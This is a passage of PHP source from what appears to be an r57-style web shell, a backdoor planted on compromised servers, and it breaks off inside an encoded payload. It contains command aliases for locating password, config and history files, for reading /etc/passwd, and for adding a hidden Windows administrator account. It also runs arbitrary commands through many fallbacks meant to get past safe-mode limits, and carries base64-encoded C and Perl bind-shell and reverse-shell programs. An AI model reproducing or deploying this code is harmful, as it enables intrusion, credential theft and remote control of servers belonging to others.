2737'eng_text158'=>'Hash Tools ',
2738'eng_text160'=>'Home Shell ',
2739'eng_text180'=>'Send Your Comments And Contacted Me ',
2740'eng_err0'=>'Error! Can\'t write in file ',
2741'eng_err1'=>'Error! Can\'t read file ',
2742'eng_err2'=>'Error! Can\'t create ',
2743'eng_err3'=>'Error! Can\'t connect to ftp',
2744'eng_err4'=>'Error! Can\'t login on ftp server',
2745'eng_err5'=>'Error! Can\'t change dir on ftp',
2746'eng_err6'=>'Error! Can\'t sent mail',
2747'eng_err7'=>'Mail send',
2748
2749
2750);
2751/*
2752?????? ??????
2753????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
2754?? ?????? ???? ????????? ??? ???????? ???????.
2755*/
2756$aliases=array(
2757'----------------------------------locate'=>'',
2758'find httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2759'locate httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2760'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2761'locate proftpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2762'locate psybnc.conf'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2763'locate my.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2764'locate admin.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2765'locate cfg.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2766'locate conf.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2767'locate config.dat files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2768'locate config.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2769'locate config.inc files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2770'locate config.inc.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2771'locate config.default.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2772'locate .conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2773'locate .pwd files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2774'locate .sql files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2775'locate .htpasswd files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2776'locate .bash_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2777'locate .mysql_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2778'locate backup files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2779'locate dump files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2780'locate priv files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2781'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2782'________________find orders ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2783'cat /var/cpanel/accounting.log'=>'cat /var/cpanel/accounting.log',
2784'find all site of server and user'=>'ls -la /etc/valiases',
2785'find suid files'=>'find / -type f -perm -04000 -ls',
2786'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
2787'find sgid files'=>'find / -type f -perm -02000 -ls',
2788'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
2789'find config.inc.php files'=>'find / -type f -name config.inc.php',
2790'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
2791'find config* files'=>'find / -type f -name "config*"',
2792'find config* files in current dir'=>'find . -type f -name "config*"',
2793'find all writable files'=>'find / -type f -perm -2 -ls',
2794'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
2795'find all writable directories'=>'find / -type d -perm -2 -ls',
2796'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
2797'find all writable directories and files'=>'find / -perm -2 -ls',
2798'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
2799'find all service.pwd files'=>'find / -type f -name service.pwd',
2800'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
2801'find all .htpasswd files'=>'find / -type f -name .htpasswd',
2802'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
2803'find all .bash_history files'=>'find / -type f -name .bash_history',
2804'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
2805'find all .mysql_history files'=>'find / -type f -name .mysql_history',
2806'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
2807'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
2808'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
2809'list file attributes on a Linux second extended file system'=>'lsattr -va',
2810'show opened ports'=>'netstat -an | grep -i listen',
2811'________________var orders var______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2812'find /var/ error_log files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2813'find /var/ access.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2814'find /var/ error.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2815'find /var/ "*.log" files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2816'________________for server windows ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2817'1_learn the management server'=>'net user',
2818'2_add new user'=>'net user egy_spider 123456 /add',
2819'3_add your user for admin group (this order after add order 1&2'=>'net localgroup administrators egy_spider /add',
2820'----------------------------------------------------------------------------------------------------'=>'ls -la'
2821);
2822$table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: ";
2823$table_up2 = " ::</div></b></font></td></tr><tr><td>";
2824$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333>";
2825$table_end1 = "</td></tr>";
2826$arrow = " <font face=Webdings color=gray>4</font>";
2827$lb = "<font color=black>[</font>";
2828$rb = "<font color=black>]</font>";
2829$font = "<font face=Verdana size=-2>";
2830$ts = "<table class=table1 width=100% align=center>";
2831$te = "</table>";
2832$fs = "<form name=form method=POST>";
2833$fe = "</form>";
2834
2835
2836if(isset($_GET['users']))
2837 {
2838 if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
2839 else
2840 {
2841 echo '<center>';
2842 foreach($users as $user) { echo $user."<br>"; }
2843 echo '</center>';
2844 }
2845 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
2846 }
2847
2848
2849if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; }
2850if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
2851$unix = 0;
2852if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
2853if(empty($dir))
2854 {
2855 $os = getenv('OS');
2856 if(empty($os)){ $os = @php_uname(); }
2857 if(empty($os)){ $os ="-"; $unix=1; }
2858 else
2859 {
2860 if(@eregi("^win",$os)) { $unix = 0; }
2861 else { $unix = 1; }
2862 }
2863 }
2864
2865
2866if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
2867 {
2868 echo $head;
2869
2870 if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
2871 else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
2872 $sr->SearchText(0,0);
2873 $res = $sr->GetResultFiles();
2874 $found = $sr->GetMatchesCount();
2875 $titles = $sr->GetTitles();
2876 $r = "";
2877 if($found > 0)
2878 {
2879 $r .= "<TABLE width=100%>";
2880 foreach($res as $file=>$v)
2881 {
2882 $r .= "<TR>";
2883 $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
2884 $r .= (!$unix)? str_replace("/","\\",$file) : $file;
2885 $r .= "</b></font></ TD>";
2886 $r .= "</TR>";
2887 foreach($v as $a=>$b)
2888 {
2889 $r .= "<TR>";
2890 $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
2891 $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
2892 $r .= "</TR>\n";
2893 }
2894 }
2895 $r .= "</TABLE>";
2896 echo $r;
2897 }
2898 else
2899 {
2900 echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
2901 }
2902 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
2903 die();
2904 }
2905
2906
2907/*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/
2908if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;}
2909$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
2910if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
2911
2912
2913function ws($i)
2914{
2915return @str_repeat(" ",$i);
2916}
2917
2918
2919function ex($cfe)
2920{global $unix,$tempdir;
2921 $res = '';
2922 if (!empty($cfe))
2923 {
2924 if(@function_exists('exec'))
2925 {
2926 @exec($cfe,$res);
2927 $res = join("\n",$res);
2928 }
2929 elseif(@function_exists('shell_exec'))
2930 {
2931 $res = @shell_exec($cfe);
2932 }
2933 elseif(@function_exists('system'))
2934 {
2935 @ob_start();
2936 @system('$cfe');
2937 $res = @ob_get_contents();
2938 @ob_end_clean();
2939 }
2940 elseif(@function_exists('passthru'))
2941 {
2942 @ob_start();
2943 @passthru($cfe);
2944 $res = @ob_get_contents();
2945 @ob_end_clean();
2946 }
2947 elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r")))
2948 {
2949 $res = "";
2950 if(@function_exists('fread') && @function_exists('feof')){
2951 while(!@feof($f)) { $res .= @fread($f,1024); }
2952 }else if(@function_exists('fgets') && @function_exists('feof')){
2953 while(!@feof($f)) { $res .= @fgets($f,1024); }
2954 }
2955 @pclose($f);
2956 }
2957 elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
2958 {
2959 $res = "";
2960 if(@function_exists('fread') && @function_exists('feof')){
2961 while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
2962 }else if(@function_exists('fgets') && @function_exists('feof')){
2963 while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
2964 }
2965 @proc_close($f);
2966 }
2967 }else{$res = safe_ex($cfe);}
2968 return htmlspecialchars($res);
2969}
2970
2971
2972
2973
2974function safe_ex($cfe)
2975{global $unix,$tempdir;
2976 $res = '';
2977 if (!empty($cfe))
2978 {
2979 if(extension_loaded('perl')){
2980 @ob_start();
2981 $safeperl=new perl();
2982 $safeperl->eval("system('$cfe')");
2983 $res = @ob_get_contents();
2984 @ob_end_clean();
2985 }
2986 elseif(!$unix && extension_loaded('ffi'))
2987 {
2988 $output=$tempdir.uniqid('NJ');
2989 $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
2990 if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);}
2991 else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);}
2992 while(!@file_exists($output))sleep(1);
2993 $res=moreread($output);
2994 @unlink($output);
2995 }
2996 elseif(!$unix && extension_loaded('win32service'))
2997 {
2998 $output=$tempdir.uniqid('NJ');
2999 $n_ser=uniqid('NJ');
3000 if(!@function_exists('escapeshellarg'))
3001 {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));}
3002 else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));}
3003 @win32_start_service($n_ser);
3004 @win32_stop_service($n_ser);
3005 @win32_delete_service($n_ser);
3006 while(!@file_exists($output))sleep(1);
3007 $res=moreread($output);
3008 @unlink($output);
3009 }
3010 elseif(!$unix && extension_loaded("win32std"))
3011 {
3012 $output=$tempdir.uniqid('NJ');
3013 if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
3014 else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
3015 while(!@file_exists($output))sleep(1);
3016 $res=moreread($output);
3017 @unlink($output);
3018 }
3019 elseif(!$unix)
3020 {
3021 $output=$tempdir.uniqid('NJ');
3022 $suntzu = new COM("WScript.Shell");
3023 if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
3024 else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
3025 $res=moreread($output);
3026 @unlink($output);
3027 }
3028 elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork'))
3029 {
3030 $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
3031 $output=$tempdir.uniqid('pcntl');
3032 $pid = @pcntl_fork();
3033 if ($pid == -1) {
3034 $res .= '[-] Could not children fork. Exit';
3035 } else if ($pid) {
3036 if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
3037 else {$res .= '[-] Error. Command incorrect.';}
3038 } else {
3039 $cfe = array(" -e 'system(\"$cfe > $output\")'");
3040 if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
3041 if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
3042 die();
3043 }
3044 $res=moreread($output);
3045 @unlink($output);
3046 }
3047/* elseif(1)
3048 {
3049
3050 }
3051*/
3052 }
3053 return htmlspecialchars($res);
3054}
3055
3056
3057function get_users($filename)
3058{
3059 $users = $rows = array();
3060 $rows=@explode("\n",moreread($filename));
3061 if(!$rows[0]){$rows=@explode("\n",readzlib($filename));}
3062 if(!$rows[0]) return 0;
3063 foreach ($rows as $string)
3064 {
3065 $user = @explode(":",trim($string));
3066 if(substr($string,0,1)!='#') array_push($users,$user[0]);
3067 }
3068 return $users;
3069}
3070function err($n,$txt='')
3071{
3072echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>';
3073echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
3074if(!empty($txt)) { echo " $txt"; }
3075echo '</b></div></font></td></tr></table>';
3076return null;
3077}
3078function perms($mode)
3079{
3080if (!$GLOBALS['unix']) return 0;
3081if( $mode & 0x1000 ) { $type='p'; }
3082else if( $mode & 0x2000 ) { $type='c'; }
3083else if( $mode & 0x4000 ) { $type='d'; }
3084else if( $mode & 0x6000 ) { $type='b'; }
3085else if( $mode & 0x8000 ) { $type='-'; }
3086else if( $mode & 0xA000 ) { $type='l'; }
3087else if( $mode & 0xC000 ) { $type='s'; }
3088else $type='u';
3089$owner["read"] = ($mode & 00400) ? 'r' : '-';
3090$owner["write"] = ($mode & 00200) ? 'w' : '-';
3091$owner["execute"] = ($mode & 00100) ? 'x' : '-';
3092$group["read"] = ($mode & 00040) ? 'r' : '-';
3093$group["write"] = ($mode & 00020) ? 'w' : '-';
3094$group["execute"] = ($mode & 00010) ? 'x' : '-';
3095$world["read"] = ($mode & 00004) ? 'r' : '-';
3096$world["write"] = ($mode & 00002) ? 'w' : '-';
3097$world["execute"] = ($mode & 00001) ? 'x' : '-';
3098if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
3099if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
3100if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
3101$s=sprintf("%1s", $type);
3102$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
3103$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
3104$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
3105return trim($s);
3106}
3107function in($type,$name,$size,$value,$checked=0)
3108{
3109 $ret = "<input type=".$type." name=".$name." ";
3110 if($size != 0) { $ret .= "size=".$size." "; }
3111 $ret .= "value=\"".$value."\"";
3112 if($checked) $ret .= " checked";
3113 return $ret.">";
3114}
3115function which($pr)
3116{
3117$path = '';
3118$path = ex("which $pr");
3119if(!empty($path)) { return $path; } else { return false; }
3120}
3121function ps($pr)
3122{global $unix;
3123$path = '';
3124if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");}
3125else{$path = ex("tasklist | findstr \"$pr\"");}
3126if(!empty($path)) { return $path; } else { return false; }
3127}
3128function locate($pr)
3129{
3130$path = '';
3131$path = ex("locate $pr");
3132if(!empty($path)) { return $path; } else { return false; }
3133}
3134function cf($fname,$text)
3135{
3136 if(!morewrite($fname,@base64_decode($text))){err(0);};
3137}
3138function sr($l,$t1,$t2)
3139 {
3140 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
3141 }
3142if (!@function_exists("view_size"))
3143{
3144function view_size($size)
3145{
3146 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
3147 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
3148 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
3149 else {$size = $size . " B";}
3150 return $size;
3151}
3152}
3153 function DirFilesR($dir,$types='')
3154 {
3155 $files = Array();
3156 if(($handle = @opendir($dir)))
3157 {
3158 while (false !== ($file = @readdir($handle)))
3159 {
3160 if ($file != "." && $file != "..")
3161 {
3162 if(@is_dir($dir."/".$file))
3163 $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
3164 else
3165 {
3166 $pos = @strrpos($file,".");
3167 $ext = @substr($file,$pos,@strlen($file)-$pos);
3168 if($types)
3169 {
3170 if(@in_array($ext,explode(';',$types)))
3171 $files[] = $dir."/".$file;
3172 }
3173 else
3174 $files[] = $dir."/".$file;
3175 }
3176 }
3177 }
3178 @closedir($handle);
3179 }
3180 return $files;
3181 }
3182 class SearchResult
3183 {
3184 var $text;
3185 var $FilesToSearch;
3186 var $ResultFiles;
3187 var $FilesTotal;
3188 var $MatchesCount;
3189 var $FileMatschesCount;
3190 var $TimeStart;
3191 var $TimeTotal;
3192 var $titles;
3193 function SearchResult($dir,$text,$filter='')
3194 {
3195 $dirs = @explode(";",$dir);
3196 $this->FilesToSearch = Array();
3197 for($a=0;$a<count($dirs);$a++)
3198 $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
3199 $this->text = $text;
3200 $this->FilesTotal = @count($this->FilesToSearch);
3201 $this->TimeStart = getmicrotime();
3202 $this->MatchesCount = 0;
3203 $this->ResultFiles = Array();
3204 $this->FileMatchesCount = Array();
3205 $this->titles = Array();
3206 }
3207 function GetFilesTotal() { return $this->FilesTotal; }
3208 function GetTitles() { return $this->titles; }
3209 function GetTimeTotal() { return $this->TimeTotal; }
3210 function GetMatchesCount() { return $this->MatchesCount; }
3211 function GetFileMatchesCount() { return $this->FileMatchesCount; }
3212 function GetResultFiles() { return $this->ResultFiles; }
3213 function SearchText($phrase=0,$case=0) {
3214 $qq = @explode(' ',$this->text);
3215 $delim = '|';
3216 if($phrase)
3217 foreach($qq as $k=>$v)
3218 $qq[$k] = '\b'.$v.'\b';
3219 $words = '('.@implode($delim,$qq).')';
3220 $pattern = "/".$words."/";
3221 if(!$case)
3222 $pattern .= 'i';
3223 foreach($this->FilesToSearch as $k=>$filename)
3224 {
3225 $this->FileMatchesCount[$filename] = 0;
3226 $FileStrings = @file($filename) or @next;
3227 for($a=0;$a<@count($FileStrings);$a++)
3228 {
3229 $count = 0;
3230 $CurString = $FileStrings[$a];
3231 $CurString = @Trim($CurString);
3232 $CurString = @strip_tags($CurString);
3233 $aa = '';
3234 if(($count = @preg_match_all($pattern,$CurString,$aa)))
3235 {
3236 $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
3237 $this->ResultFiles[$filename][$a+1] = $CurString;
3238 $this->MatchesCount += $count;
3239 $this->FileMatchesCount[$filename] += $count;
3240 }
3241 }
3242 }
3243 $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
3244 }
3245 }
3246 function getmicrotime()
3247 {
3248 list($usec,$sec) = @explode(" ",@microtime());
3249 return ((float)$usec + (float)$sec);
3250 }
3251$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
3252A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
3253GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
3254b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
3255pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
3256NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
3257ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
3258ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
32597DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
32609tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
32612ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
3262dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
3263lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
3264$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
3265VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
3266JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
3267TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
3268lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
3269Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
3270Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
3271lIENPTk47DQpleGl0IDA7DQp9DQp9";
3272$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
3273aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
3274hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
3275sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
3276kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
3277KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
3278OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
3279$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
3280BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
3281SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
3282KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
3283sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
3284Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
3285QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
3286Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
3287$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
3288x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
3289HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
3290aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
3291lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
3292xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
